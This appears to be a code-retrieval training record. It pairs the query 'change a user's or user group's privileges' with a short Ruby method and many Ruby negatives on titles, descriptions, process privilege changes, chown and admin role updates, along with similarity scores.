taxon ? taxon.descriptive_text : description\n end", "def description_title(desc)\n result = desc.partial_format_name\n\n # Indicate rough permissions.\n permit = if desc.parent.description_id == desc.id\n :default.l\n elsif desc.public\n :public.l\n elsif reader?(desc)\n :restricted.l\n else\n :private.l\n end\n result += \" (#{permit})\" unless /(^| )#{permit}( |$)/i.match?(result)\n\n t(result)\n end", "def descr\n return text_get(2, id)\n end", "def captioned_title\n %(#{@caption}#{title})\n end", "def description\n text = ['A']\n text << [duration, 'minute'] if duration.present?\n text << [format, 'publication']\n text << [ 'from', pretty_date(published_on) ] if published_on.present?\n text << ['by', presentations.first.speaker_names] if presentations.present?\n text.join(' ')\n end", "def title\n [self.table[:title], subtitle].compact.join(': ')\n end", "def description\n metapage = ::Metapage.find_by(grade_id: nil, subject_id: o.id)\n metapage.description\n end", "def description\n [basic_description, extra_description].compact.join(\" \")\n end", "def description\n I18n.t(\"rubrics.item.description.#{basename.underscore}\")\n end", "def right_subtitle(value = nil, options = nil)\n end", "def title_brief\n return '' unless @marc_record && @marc_record['245']\n subfieldA = @marc_record['245']['a'] || ''\n title = subfieldA.strip\n # return the cleaned up title\n trim_punctuation(title)\n end", "def description\n super || \"\"\n end", "def description\n return $BlizzABS.util.add_item_text(@description, @id, 2)\n end", "def description\n meta_description.nil? ? secondary_description : meta_description\n end", "def description\n meta_description.nil? ? secondary_description : meta_description\n end", "def description\n return @description\n end", "def description\n \"#{super} - CocaCola\"\n end", "def show_embedded_description_title(desc)\n title = description_title(desc)\n links = description_mod_links(desc)\n tag.p(tag.span(title, class: \"text-lg\") + links.safe_join(\" | \"))\n end", "def subtitle\n if @subtitle.nil?\n subtitle_node = FeedTools::XmlHelper.try_xpaths(self.channel_node, [\n \"atom10:subtitle\",\n \"subtitle\",\n \"atom03:tagline\",\n \"tagline\",\n \"description\",\n \"summary\",\n \"abstract\",\n \"ABSTRACT\",\n \"content:encoded\",\n \"encoded\",\n \"content\",\n \"xhtml:body\",\n \"body\",\n \"xhtml:div\",\n \"div\",\n \"p:payload\",\n \"payload\",\n \"channelDescription\",\n \"blurb\",\n \"info\"\n ])\n @subtitle = FeedTools::HtmlHelper.process_text_construct(\n subtitle_node, self.feed_type, self.feed_version, [self.base_uri])\n if self.feed_type == \"atom\" ||\n self.configurations[:always_strip_wrapper_elements]\n @subtitle = FeedTools::HtmlHelper.strip_wrapper_element(@subtitle)\n end\n if @subtitle.blank?\n @subtitle = self.itunes_summary\n end\n if @subtitle.blank?\n @subtitle = self.itunes_subtitle\n end\n end\n return @subtitle\n end", "def get_title_description()\n\t\tif !self.building_number.nil?\n\t\t\tif self.title.include? self.building_number\n\t\t\t\treturn \"Building \" + self.building_number\n\t\t\telse\n\t\t\t\treturn \"Building \" + self.building_number + \"- \" + self.title\n\t\t\tend\n\t\telse\n\t\t\treturn self.title\n\t\tend\n\tend", "def caption\n \"#{self.programme.description}::#{self.organisation.name}\"\n end", "def description\n @description\n end", "def description\n @description\n end", "def description\n @description\n end", "def description\n @description\n end", "def textual_title\n @record.title\n end", "def full_title\n ti = title_values&.first\n st = subtitle_values&.first\n if ti && st\n # Remove the automatically-appended subtitle (in the case of search\n # results entries).\n ti = ti.delete_suffix(st).rstrip.delete_suffix(':')\n # Append the subtitle only if it doesn't appear to already be included in\n # the base title itself.\n ti = \"#{ti}: #{st}\" unless significant(ti).include?(significant(st))\n end\n ti || st || '???'\n end", "def subtitle(page_subtitle, show_subtitle = true, ignore_in_breadcrumbs = false)\n @show_subtitle = show_subtitle\n @ignore_subtitle_in_breadcrumbs = ignore_in_breadcrumbs\n @subtitle_for_content = page_subtitle.to_s\n end", "def caption\n (self[\"name\"] || self[\"label\"] || self[\"description\"] || \"##{id}\")\n end", "def caption\n (self[\"name\"] || self[\"label\"] || self[\"description\"] || \"##{id}\")\n end", "def long_description\n if @model\n return (@long_description || @model.long_description.to_s)\n end\n return @long_description.to_s\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def description\n return @description\n end", "def get_description\n @description\n end", "def description_for(item)\n if item.description\n item.description\n elsif item.content\n item.content\n else\n \"\"\n end\n end", "def description\n object[\"description\"]\n end", "def full_description\n \"#{self.class.description} #{self.description}\"\n end", "def description\n\n return @description\n\n end", "def description\n self[:description]\n end", "def product_description(product)\n product.description.gsub(/^(.*)$/, '<p>\\1</p>')\n end", "def description_nested\n self[Solrizer.solr_name('description_nested', :displayable)]\n end", "def text\n # if the title is not present, show the code\n get_translation(self.text_translations, self.dataset.current_locale, self.dataset.default_language)\n end", "def format_description_title(obj)\n obj = obj.description if obj.respond_to?(:description)\n obj = obj.gsub(/\\s/i, ' ')\n obj.truncate(200, separator: ' ')\n end", "def description\n override_desc || self.to_s\n end", "def description\n\t\t\treturn @description || self.generate_description\n\t\tend", "def description\n meta['description'] || extract_description\n end", "def full_description\n\t\t\t\"#{@name}\\n\\nYou are in #{@description}\"\n\t\tend", "def description\n desc = object.description.to_s\n desc = h.strip_tags(markdown.render(desc)).strip # Escape HTML and remove Markdown\n\n if desc.blank? or [\"[!\", \"[](\", \"===\", \"```\"].any? { |s| desc.include? s }\n \"<em>#{ DESCRIPTION_UNAVAILABLE }</em>\".html_safe\n else\n desc = \"#{ desc }.\" if /\\w/ =~ desc.last # Add trailing dot\n desc[0] = desc[0].upcase # Capitalize 1st letter\n desc.html_safe\n end\n end", "def site_subtitle\n \"Cool site with cool stuff\"\n end", "def best_description\n if description?\n description\n else\n additional_description\n end\n end", "def description\n \"\"\n end", "def description_text\n\t\t\tif @data[\"description\"] \n\t\t\t\thtml_data = @data[\"description\"][\"text\"] \n\t\t\t\tparsed_data = Nokogiri::HTML(html_data)\n\t\t\t\tparsed_data.text\n\t\t\tend\n\t\tend", "def content\n \"#{title} #{description_text}\"\n end", "def description\n @data['description']\n end", "def description\n @data['description']\n end", "def format_title_description\n if description.present? && title.present?\n self.description = description.strip.capitalize\n self.title = title.strip.capitalize\n end\n end", "def format_title_description\n if description.present? && title.present?\n self.description = description.strip.capitalize\n self.title = title.strip.capitalize\n end\n end", "def format_title_description\n if description.present? && title.present?\n self.description = description.strip.capitalize\n self.title = title.strip.capitalize\n end\n end", "def page_description\n if content_for?(:description)\n \"#{yield_content(:description)}\"\n else\n \"Capra is a design agency based in Ottawa, Canada run by husband and wife team Ollie and Kat Kavanagh. Our focus is great design. We love interactive work like websites, games and apps because we get involved in building what we design.\"\n end\n end", "def description\n super + \", Soy\"\n end", "def short_description\n description\n end", "def long_desc\n return @name << \", \" << @desc << \", has the following inventory: \" << @inv.item_list\n end", "def subtitle(subtitle)\n @subtitle = subtitle\n end", "def description\n return summary\n end" ]
[ "0.8117024", "0.7674786", "0.71513724", "0.7092079", "0.70592344", "0.70365196", "0.6918752", "0.6859945", "0.6803786", "0.67998415", "0.6761956", "0.6676819", "0.6669246", "0.6667094", "0.666184", "0.66116697", "0.6609482", "0.6582283", "0.6569326", "0.65591246", "0.6557732", "0.6550303", "0.6546657", "0.6530264", "0.6523486", "0.6502872", "0.6502872", "0.6500699", "0.6491104", "0.6490208", "0.6485836", "0.64829755", "0.6477249", "0.64505243", "0.64505243", "0.64505243", "0.64505243", "0.6439633", "0.64291304", "0.6428579", "0.6426975", "0.6426975", "0.6422313", "0.6421317", "0.6421317", "0.6421317", "0.6421317", "0.6421317", "0.6421317", "0.6421317", "0.6421317", "0.6421317", "0.6421317", "0.6421317", "0.6421317", "0.6421317", "0.6421317", "0.6421317", "0.6421317", "0.6421317", "0.6421317", "0.6421317", "0.6421317", "0.6421317", "0.6421317", "0.6421317", "0.6421317", "0.6421317", "0.6421317", "0.6421317", "0.6408397", "0.6406531", "0.6401748", "0.64005923", "0.6396786", "0.63813597", "0.63702714", "0.6365421", "0.636534", "0.6362885", "0.6354047", "0.63502365", "0.6341341", "0.63274413", "0.6323427", "0.631687", "0.63092905", "0.63073456", "0.6305885", "0.62888044", "0.62841576", "0.62841576", "0.6282924", "0.62824297", "0.62824297", "0.6274298", "0.62713075", "0.62605745", "0.6260541", "0.6258124", "0.6256091" ]
0.0
-1
Change a given User's or UserGroup's privileges.
def chg_permission(groups, arg, mode) arg = UserGroup.one_user(arg) if arg.is_a?(User) if (mode == :add) && groups.exclude?(arg) groups.push(arg) elsif (mode == :remove) && groups.include?(arg) groups.delete(arg) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def change_privilege(user, group=user)\n Merb.logger.info \"Changing privileges to #{user}:#{group}\"\n \n uid, gid = Process.euid, Process.egid\n target_uid = Etc.getpwnam(user).uid\n target_gid = Etc.getgrnam(group).gid\n \n if uid != target_uid || gid != target_gid\n # Change process ownership\n Process.initgroups(user, target_gid)\n Process::GID.change_privilege(target_gid)\n Process::UID.change_privilege(target_uid)\n end\n rescue Errno::EPERM => e\n Merb.logger.error \"Couldn't change user and group to #{user}:#{group}: #{e}\"\n end", "def change_privilege(user, group)\n begin\n if group\n log \"Changing group to #{group}.\"\n Process::GID.change_privilege(Etc.getgrnam(group).gid)\n end\n\n if user\n log \"Changing user to #{user}.\" \n Process::UID.change_privilege(Etc.getpwnam(user).uid)\n end\n rescue Errno::EPERM\n log \"FAILED to change user:group #{user}:#{group}: #$!\"\n exit 1\n end\n end", "def _change_privilege(user, group=user)\n Merb.logger.warn! \"Changing privileges to #{user}:#{group}\"\n\n uid, gid = Process.euid, Process.egid\n\n begin\n target_uid = Etc.getpwnam(user).uid\n rescue ArgumentError => e\n Merb.fatal!(\"Failed to change to user #{user}, does the user exist?\", e)\n return false\n end\n\n begin\n target_gid = Etc.getgrnam(group).gid\n rescue ArgumentError => e\n Merb.fatal!(\"Failed to change to group #{group}, does the group exist?\", e)\n return false\n end\n\n if (uid != target_uid) || (gid != target_gid)\n # Change process ownership\n Process.initgroups(user, target_gid)\n Process::GID.change_privilege(target_gid)\n Process::UID.change_privilege(target_uid)\n end\n true\n rescue Errno::EPERM => e\n Merb.fatal! \"Permission denied for changing user:group to #{user}:#{group}.\", e\n false\n end", "def change_privilege(user, group=user)\n log \">> Changing process privilege to #{user}:#{group}\"\n \n uid, gid = Process.euid, Process.egid\n target_uid = Etc.getpwnam(user).uid\n target_gid = Etc.getgrnam(group).gid\n\n if uid != target_uid || gid != target_gid\n # Change process ownership\n Process.initgroups(user, target_gid)\n Process::GID.change_privilege(target_gid)\n Process::UID.change_privilege(target_uid)\n end\n rescue Errno::EPERM => e\n log \"Couldn't change user and group to #{user}:#{group}: #{e}\"\n end", "def change_privilege\n if Merb::Config[:user] && Merb::Config[:group]\n Merb.logger.verbose! \"About to change privilege to group \" \\\n \"#{Merb::Config[:group]} and user #{Merb::Config[:user]}\"\n _change_privilege(Merb::Config[:user], Merb::Config[:group])\n elsif Merb::Config[:user]\n Merb.logger.verbose! \"About to change privilege to user \" \\\n \"#{Merb::Config[:user]}\"\n _change_privilege(Merb::Config[:user])\n else\n return true\n end\n end", "def change_privilege(user, group=user)\n puts \">> Changing process privilege to #{user}:#{group}\"\n\n uid, gid = Process.euid, Process.egid\n target_uid = Etc.getpwnam(user).uid\n target_gid = Etc.getgrnam(group).gid\n\n if uid != target_uid || gid != target_gid\n # Change process ownership\n Process.initgroups(user, target_gid)\n Process::GID.change_privilege(target_gid)\n Process::UID.change_privilege(target_uid)\n end\nrescue Errno::EPERM => e\n puts \"Couldn't change user and group to #{user}:#{group}: #{e}\"\nend", "def setPermission( other_user, perm )\n if ( (not other_user.valid?) or ( other_user.is_a?(User) == false ) )\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"basic check failed\"\n # d other_user.type\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n return false\n end\n user = getUser()\n if ( other_user == user )\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"same user as owner\"\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n return true\n end\n if not self.special_users\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"creating special users group\"\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n self.special_users = {}\n end\n self.special_users[other_user.id.to_s] = perm\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n # d \"new permission:\"\n # d self.special_users\n # d \"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\"\n return true\n end", "def drop_privileges(user, group)\n uid, gid = user_id(user) if user\n gid = group_id(group) if group\n\n Process::Sys.setgid(gid) if gid\n Process::Sys.setuid(uid) if uid\n rescue Errno::EPERM => e\n raise ServiceError, \"unable to drop privileges (#{e})\"\n end", "def set_user_permission(id, level)\n @permissions[:users][id] = level\n end", "def update\n @user = User.find(params[:id])\n unless changing_his_own_role?(@user)\n User.update_all(params[:user], {:id => @user.id})\n # if @user.update_attribute(:role, params[:user][:role])\n # if @user.send(:attributes=, {:role => params[:user][:role]})\n flash[:notice] = \"User role updated!\"\n redirect_to admin_users_path\n # else\n # flash[:notice] = \"didn`t work\"\n # redirect_to admin_users_path\n # end\n else\n flash[:notice] = \"Can`t overwrite your own rights!\"\n redirect_to admin_users_path\n end\n end", "def update\n authorize! :update, @user, :message => \"No puedes tienes acceso a esta opcion.\"\n if @user.is_admin? \n @user.remove_role :admin\n end\n if @user.is_adminInv?\n @user.remove_role :adminInv \n end\n if @user.is_adminExt?\n @user.remove_role :adminExt\n end\n if @user.is_investigador?\n @user.remove_role :Investigador\n end\n \n @user.add_role(params[:role])\n @user.update(user_params)\n redirect_to usuarios_path, notice: 'Usuario fue actualizado.'\n end", "def update_administrators\n if user_id_changed?\n if (user_id)\n Membership.find_by_user_id_and_network_id(user_id, id).try(:destroy) # delete membership of new owner\n end \n if (user_id_was)\n Membership.create(:user_id => user_id_was, :network_id => id,\n :administrator => true, :invited_by => User.find(user_id)).accept! # create membership for old owner\n end\n end\n end", "def set_perms(data)\n permission = data[:permission] || 2 \n result = @client.api_request(\n :method => \"usergroup.massAdd\", \n :params => {\n :usrgrpids => [data[:usrgrpid]],\n :rights => data[:hostgroupids].map { |t| {:permission => permission, :id => t} }\n }\n )\n result ? result['usrgrpids'][0].to_i : nil\n end", "def update_user(user, role = 'Member')\n self.users.update(id: user.id, role: role)\n end", "def change_user!\n tgt_uid = self.target_user.is_a?(Fixnum) ? self.target_user : Etc.getpwnam(self.target_user).uid\n chown_params = [tgt_uid, nil, self.target]\n\n if(File.symlink?(self.target) && (self.no_follow == 'both' || self.no_follow == 'chown'))\n File.lchown *chown_params\n elsif(self.stat(:ftype) == 'directory' && (self.recursive == 'both' || self.recursive == 'chown'))\n #DOcumenation for FileUtils.chown_R is wrong (at least for Ubuntu 8.1, takes ID as String.)\n chown_params[1] = chown_params[1].to_s\n FileUtils.chown_R *chown_params\n else\n File.chown *chown_params\n end\n rescue NotImplementedError => ex\n WarningShot::PermissionResolver.logger.error(\"lchown is not implemented on this machine, (disable nofollow).\")\n return false\n rescue Exception => ex\n WarningShot::PermissionResolver.logger.error(\"Unable to change user for file: #{self.target}; Exception: #{ex.message}\")\n return false\n end", "def alter_user_level(user_level)\n \tself.user_level = user_level\n \tself.save\n end", "def setPermissionEdit( other_user )\n return setPermission( other_user, Dfile::PP_MAYEDIT )\n end", "def set_user_group(name, *perms)\n user_groups[name] ||= []\n perms.each do |perm|\n if permission_assigned_automatically?(perm)\n raise Lockdown::InvalidPermissionAssignment, \"Permission is assigned automatically. Please remove it from #{name} user group\"\n end\n user_groups[name].push(perm)\n end\n end", "def set_as_admin\n self.role = USER_ROLES[:admin]\n end", "def grant_privileges(role_name, privileges, options = nil)\n policy = create_policy(options, AdminPolicy, default_admin_policy)\n command = AdminCommand.new\n command.grant_privileges(@cluster, policy, role_name, privileges)\n end", "def chown(user_and_group)\n return unless user_and_group\n user, group = user_and_group.split(':').map {|s| s == '' ? nil : s}\n FileUtils.chown user, group, selected_items.map(&:path)\n ls\n end", "def set_user\n @user = User.find(params[:id])\n \tauthorize [:admin, @user]\n end", "def update_user_overrides(token, channel_id, user_id, allow, deny)\n request(\n __method__,\n :put,\n \"#{api_base}/channels/#{channel_id}/permissions/#{user_id}\",\n { type: 'member', id: user_id, allow: allow, deny: deny }.to_json,\n Authorization: token,\n content_type: :json\n )\n end", "def can_modify_user?(user_id)\n role == 'admin' || id.to_s == user_id.to_s\n end", "def can_modify_user?(user_id)\n role == 'admin' || id.to_s == user_id.to_s\n end", "def admin_update_permissions\n @user = User.find(params[:id])\n authorize @user\n\n perms_ids = permission_params[:perm_ids].blank? ? [] : permission_params[:perm_ids].map(&:to_i)\n perms = Perm.where(id: perms_ids)\n privileges_changed = false\n current_user.perms.each do |perm|\n if @user.perms.include? perm\n unless perms.include? perm\n @user.perms.delete(perm)\n @user.remove_token! if perm.id == Perm.use_api.id\n privileges_changed = true\n end\n elsif perms.include? perm\n @user.perms << perm\n if perm.id == Perm.use_api.id\n @user.keep_or_generate_token!\n privileges_changed = true\n end\n end\n end\n\n if @user.save\n if privileges_changed\n deliver_if(recipients: @user, key: 'users.admin_privileges') do |r|\n UserMailer.admin_privileges(r).deliver_now\n end\n end\n render(json: {\n code: 1,\n msg: success_message(perms.first_or_initialize, _('saved')),\n current_privileges: render_to_string(partial: 'users/current_privileges',\n locals: { user: @user }, formats: [:html])\n })\n else\n render(json: { code: 0, msg: failure_message(@user, _('updated')) })\n end\n end", "def set_privacy(user=nil,level=0)\n # TODO finish and test\n # currently 0 = public, 1 = public but read only, 2 = private, 3 = private and read only\n # in all cases if you are a member you can see it\n end", "def can_modify_user?(user_id)\n \trole == 'Admin' || id.to_s == user_id.to_s\n \tend", "def update # for changing user's role\n @user = User.find(params[:id])\n if @user.update_attributes(params[:user]) # , :as => :admin)\n @user.update_role(role) unless role.nil?\n redirect_to users_path, :notice => \"User updated.\"\n else\n redirect_to users_path, :alsert => \"Unable to update user.\"\n end\n end", "def permits?( priv, user = User.current )\n (priv, associate) = disassemble_priv( priv )\n check_user_set!(user, priv, associate)\n user.can?( priv, associate )\n end", "def update_board_permissions\n @board = Board.find(params[:board_id])\n @us = User.find_by_login(params[:user][:login]) \n @ac = params[:level]\n #debugger\n @board.allow!( @us, @ac.to_sym )\n end", "def grant_user_privilege(channel, nick, privilege)\n channel = normalized_channel_name(channel)\n privcode = server_type.privilege.key(privilege).chr if server_type.privilege.value? privilege\n privcode ||= privilege\n mode channel, \"+#{privcode}\", nick\n end", "def update_display_user_access_level(display_id, user_id, access_level)\n put \"commandcenter/displays/#{display_id}/users/#{user_id}/access/#{access_level}\"\n end", "def update_access_controls!\n update!(edit_users: permission_template.agent_ids_for(access: 'manage', agent_type: 'user'),\n edit_groups: permission_template.agent_ids_for(access: 'manage', agent_type: 'group'))\n end", "def set_perms\n self.perms = Access.for_user(self)\n end", "def update_roles_and_groups(user, roles, groups)\n if self.access_to_roles?(roles) && self.access_to_groups?(groups)\n roles = Role.find(roles || [])\n groups = Group.find(groups || [])\n\n user.roles += roles\n user.groups += groups\n\n user.center = groups.first.center unless groups.empty? or user.has_role?(:superadmin)\n user.save\n \n return user\n end\n return false\n end", "def setAdmin id, username\n\n user = User.get(id,username)\n if user.isAdmin?\n if id != '1' && username != user_name\n user.setAdminOff\n end\n else\n user.setAdminOn\n end\n userSave user\n end", "def set_permissions( new_roles )\n preserved_roles = self.roles & new_roles\n roles_to_remove = self.roles - preserved_roles\n roles_to_add = new_roles - preserved_roles\n \n remove_roles roles_to_remove\n add_roles roles_to_add\n end", "def update\n @user = User.find(params[:id])\n logger.tagged(\"update current user: \") {logger.debug @current_user.attributes}\n can_edit_hash = Permissions.currentLoggedInOrHasMorePermissions(@current_user,@user)\n logger.tagged(\"update user perm hash: \") {logger.debug can_edit_hash}\n if can_edit_hash[:has_permission]\n user_params = params[:user]\n logger.tagged(\":user\") {logger.debug user_params}\n @user.first_name = user_params[:first_name]\n @user.last_name = user_params[:last_name]\n @user.email = user_params[:email]\n @user.phone_number = user_params[:phone_number]\n @user.password_confirmation = @user.password\n\n can_change_roles_hash = Permissions.hasMorePermissions(@current_user,@user)\n @can_change_roles = can_change_roles_hash[:has_permission]\n if @can_change_roles\n @user.role = user_params[:role]\n else\n flash[:warning] = \"Don't have permission to promote/demote\"\n end\n\n if @user.save\n redirect_to user_path(@user)\n else\n\n @user.errors.full_messages.each do |msg|\n logger.tagged(\"error: \") {logger.debug msg}\n end\n flash[:warning] = \"Couldn't save changes\"\n redirect_to user_path(@user)\n end\n else\n flash[:warning] = can_edit_hash[:permission_message]\n redirect_to user_path(@user)\n end\n end", "def set_privilege\n @privilege = Privilege.find(params[:id])\n end", "def add_user_to_group(user, group)\n send(run_method, \"groups #{user} | grep ' #{group} ' || sudo /usr/sbin/usermod -G #{group} -a #{user}\")\n end", "def change_super_admin(user)\n self.transaction do\n user_membership = Membership.find_by(user_id: user.id, group_id: self.id)\n if user_membership.nil?\n # the user is not part of the group\n return false\n else\n self.memberships.super_admin.first.update_attribute(:super_admin, false)\n user_membership.update_attribute(:super_admin, true)\n return true\n end\n end\n rescue ActiveRecord::StatementInvalid, ActiveRecord::RecordInvalid\n return false\n end", "def can_modify_user?(user_id)\n\t\trole == 'admin' || id.to_s == user_id.to_s\n\tend", "def change_password\n\t\t# if admin, allow editing user's password\n if current_user.is_admin?\n @user = User.find(params[:id])\n else\n @user = current_user\n end\n end", "def update\n privs = []\n privs << \"r\" if params[:r] == \"1\"\n privs << \"w\" if params[:w] == \"1\"\n privs << \"a\" if params[:a] == \"1\"\n @priv = privs.join(\"\")\n @project_user.priv = @priv\n @project = @project_user.project\n respond_to do |format|\n if @project_user.save\n format.html { redirect_to project_project_users_path(@project), notice: 'User setting was successfully updated.' }\n format.json { render :show, status: :ok, location: @project_user }\n else\n format.html { render :edit }\n format.json { render json: @project_user.errors, status: :unprocessable_entity }\n end\n end\n end", "def change_password\n @user = User.shod(params[:id])\n authorize! :update, @user\n end", "def change_owner(username, group, path)\n %x(sudo chown -R #{Shellwords.escape(username)}:#{Shellwords.escape(group)} #{path})\n\n $?.success?\n end", "def update_roles_and_groups(user, roles, groups)\n if self.access_to_roles?(roles) && self.access_to_groups?(groups)\n roles = Role.find(roles || [])\n groups = Group.find(groups || [])\n\n user.roles = roles if roles.any?\n user.groups = groups if groups.any?\n user.role_ids_str = user.roles.map(&:id).join(',')\n\n user.center = groups.first.center unless groups.empty? or user.has_role?(:superadmin)\n user.save\n \n return user\n end\n return false\n end", "def change_role\n role = Role.find(params[:role_id])\n @group_user.role = role\n @group_user.save!\n Notifier.deliver_notify_user_of_role_change(@group_user)\n flash[:notice] = 'User role was changed.'\n respond_to do |format|\n format.html { redirect_to @group_user.group }\n format.xml { head :ok }\n end\n end", "def update_user\n end", "def assign_administrator(user_id)\n add_user(user_id, true, true)\n end", "def change_owner!(user_changing, user_to_be_changed)\n if(!user_changing.persisted? || super_admin != user_changing)\n raise SecurityError.new \"No Permissions\"\n end \n exist_user?(user_to_be_changed)\n if(super_admin != user_changing)\n ActiveRecord::Base.transaction do\n remove_user!(user_changing, user_to_be_changed)\n participants.create(user_id: user_changing.id, member_type: Course.roles[\"admin\"])\n update(super_admin: user_to_be_changed)\n end\n end\n\nend", "def toggle_role\n @user = current_user\n\n if @user.admin? == 'admin'\n flash[:error] = \"User is an admin. No update.\"\n elsif @user.public?\n @user.update_attribute(:role, 'premium')\n flash[:notice] = \"User switched from public to premium.\"\n else\n @user.update_attribute(:role, 'public')\n flash[:notice] = \"User switched from premium to public.\"\n end\n redirect_to users_upgrade_path\n end", "def update\n if current_user.moderator?\n unauthorized_access if user_params[:role].eql? :admin\n end\n\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to @user, notice: 'Benutzer wurde erfolgreich aktualisiert.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def permit\n user = User.find(params[:user_id])\n group = Group.find(params[:id])\n membership = Membership.find_by(user: user, group: group)\n if membership\n membership.update_column(:active, true)\n membership.touch # For showing on dashboard.\n end\n redirect_back fallback_location: '/'\n end", "def set_role(role, user)\n\t\tprivs = privileges(user)\n\t\tunless privs[:edit]\n\t\t\traise TinyException, TinyException::MESSAGES[TinyException::NOPRIVILEGES]\n\t\tend\n\t\t\n\t\tcase role\n\t\twhen \"student\"\n\t update_attribute(:role, Enrollment::ROLE_STUDENT)\n\t when \"instructor\"\n\t update_attribute(:role, Enrollment::ROLE_INSTRUCTOR)\n\t end\n\tend", "def change_password(user, password, options = nil)\n raise Aerospike::Exceptions::Aerospike.new(INVALID_USER) unless @cluster.user && @cluster.user != \"\"\n policy = create_policy(options, AdminPolicy, default_admin_policy)\n\n hash = LoginCommand.hash_password(password)\n command = AdminCommand.new\n\n if user == @cluster.user\n # Change own password.\n command.change_password(@cluster, policy, user, hash)\n else\n # Change other user's password by user admin.\n command.set_password(@cluster, policy, user, hash)\n end\n\n @cluster.change_password(user, hash)\n end", "def can_alter?(someone)\n someone.kind_of?(User) && (someone.admin? || someone == self.user)\n end", "def change_state!(_ctx, user:, **)\n role(user).update!(state: 'active')\n end", "def add_user_permission(u)\n\t\t\n\tend", "def define_user_privileges(user)\n # Projects\n can :create, Project\n can [:read, :save, :activate], Project, owner: user\n can :read, Project do |project|\n project.confirmation_approver? user\n end\n\n can :destroy, Project, owner: user, state: :active\n can :destroy, Project, owner: user, state: :inactive\n can :destroy, Project, owner: user, state: :unconfirmed\n\n # Note: this 'update' refers to the Update and Edit actions of ProjectsController,\n # not the ability to create Update objects associated with a project\n can :update, Project, owner: user, can_edit?: true\n\n can :create, Update do |update|\n update.project.can_update? and\n update.project.owner == user\n end\n\n can :destroy, Video do |video|\n video.project.owner = user\n end\n\n can :create, Comment if user.id\n can :destroy, Comment do |comment|\n comment.user == user and comment.body != \"comment deleted\"\n end\n\n can :create, Contribution do |contribution|\n contribution.project.owner != user and\n contribution.project.contributions.find_by_user_id(user.id).nil? and\n contribution.project.end_date >= Time.zone.today\n end\n # If the user is logged in, doesn't own the project, and has a contribution on this project,\n # they can edit\n can :update, Contribution do |contribution|\n !contribution.project.contributions.find_by_user_id(user.id).nil?\n end\n\n # Groups\n can [:create], Group\n can :remove_project, Group # had to move check for admin or project owner to controller\n\n can [:update, :admin, :destroy], Group, owner: user\n\n #Aprovals\n can :create, Approval\n can [:approve, :reject], Approval do |approval|\n approval.group.owner == user\n end\n\n can :read, User, id: user.id\n end", "def change_state!(_ctx, user:, **)\n role(user).activate!\n end", "def set_role_privilege\n @role_privilege = RolePrivilege.find(params[:id])\n end", "def add_user_to_group(username, groupname)\n\t\t\t\t# Check for validity first\n\t\t\t\tsuper(username, groupname)\n\n\n\t\t\t\t`/usr/sbin/pw groupmod #{shellescape(groupname)} -m #{shellescape(username)}`\n\t\t\tend", "def change_password(username, old_pw, new_pwd)\n self.user.change_password(username, old_pw, new_pwd)\n end", "def enable_admin\n if current_user.admin?\n user = User.find(params[:id])\n user.update_attribute(\"admin\", true)\n redirect_to \"/users\"\n else\n redirect_to \"/home\"\n flash[:warning] = \"Only admins can perform that action.\"\n end\n end", "def update\n @user = User.get!(params[:id])\n set_groups(@user, ids_to_groups(params[:groups]))\n \n respond_to do |format|\n if @user.update_attributes(params[:user]) or not @user.dirty?\n flash[:notice] = 'User was successfully updated.'\n format.html { redirect_to(user_url(@user.id)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end", "def privileges(user, parent_priv = nil)\n\t\tif user.admin?\n\t\t\treturn PRIVILEGE_EDIT\n\t\tend\n\t\tif self.creator_id.nil? && user.privilege >= User::PRIVILEGE_STAFF\n\t\t return PRIVILEGE_EDIT\n\t\tend \n\t\tif self.creator_id == user.id\n\t\t\treturn PRIVILEGE_EDIT\n\t\tend\n\t\t\n\t\tparent_priv ||= self.notable.privileges(user)\n\t\t\n\t\treturn PRIVILEGE_EDIT if parent_priv[:edit_note]\n\t\treturn PRIVILEGE_VIEW if parent_priv[:view_note]\n\t\treturn PRIVILEGE_NONE\n\tend", "def set_role_user_admin\n @user = User.find(params[:id])\n\n respond_to do |format|\n @nav = 'show_nav'\n if (@local_manager.slave?)\n flash[:warning] = \"This action is prohibited on slave systems.\"\n format.html { redirect_to user_url(@user) }\n format.xml { render :xml => '<errors><error>This action is prohibited on slave systems.</error></errors>', :status => :not_acceptable }\n elsif (@user.id == @session_user.id)\n @user.errors.add_to_base(\"Users may not change their own role.\")\n format.html { render :action => :show }\n format.xml { render :xml => @user.errors, :status => :not_acceptable }\n else\n @user.user_admin!\n @local_manager.log(:username => @session_user.username, :user_id=> @user.id, :message => \"Set role to 'user_admin' for user #{@user.username}.\")\n format.html { redirect_to user_url(@user) }\n format.xml { head :ok }\n end\n end\n end", "def 